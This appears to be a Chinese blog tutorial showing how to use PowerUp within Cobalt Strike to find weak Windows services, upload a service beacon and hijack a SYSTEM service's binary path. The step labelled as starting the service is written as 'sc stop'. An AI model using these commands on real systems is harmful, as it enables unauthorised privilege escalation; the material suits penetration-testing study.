CobaltStrike’s PowerUP

PowerUP简介

  在Windows下面我们可以通过内核漏洞来提升权限,但我们常常会碰到所处服务器通过内核漏洞提权是行不通的,这个时候,我们就需要通过脆弱的Windows服务提权,比如我们替换掉服务所依赖的DLL文件,当服务重启时,加载我们替换的文件。

Cobalt Strike并没有自带PowerUP.ps1

PowerUP实战

  • 步骤一:首先你需要有一个控制权限,接着下发任务:Powerup.ps1需要放到CobaltStrike目录下,Powershell-import命令检索的目录就是CS的根目录。

    1
    2
    beacon> powershell-import PowerUp.ps1
    beacon> powershell Invoke-AllChecks //将使用脚本使用所有模块进行检查

    image-20210413092707598

    • 这里给出了可以利用的服务,以及服务文件启动的位置,此时我们就需要更换这些服务文件,但是并不是所有的文件都存在弱点。以下便是弱点服务所存在的项:

    image-20210413092720121

    • 这些存在弱点的服务,都是允许任意用户对该文件进行修改,对该服务进行启动或关闭,这些服务本身是通过system权限运行的。但是我们必须要有一个演示的对象,所以这里我将使用的并不是弱点服务的HaozipSvc.exe。
  • 步骤二:创建可以利用的Service.exe文件

    image-20210413092732661

    • 创建Service类型的beacon然后上传到目标主机,更名为恶意服务的名字。
    1
    2
    beacon> pwd
    beacon> upload C:\Users\Win7-LMB\Desktop\beacon.exe

    image-20210413092741662

  • 步骤三:对该服务进行修改,但注意结果这里是因为HaoZipSvc本身不是弱点服务,所以在这里执行失败了。

    1
    2
    3
    4
    beacon> shell sc config HaoZipSvc binpath=C:\Users\Win-LMB\Desktop\HaozipSvc.exe
    //替换HaoZipSvc服务文件
    beacon> shell sc stop HaoZipSvc //停止该服务
    beacon> shell sc stop HaoZipSvc //启动该服务

    image-20210413092751984

  • 步骤四:连接该Beacon

    1
    beacon> link 127.0.0.1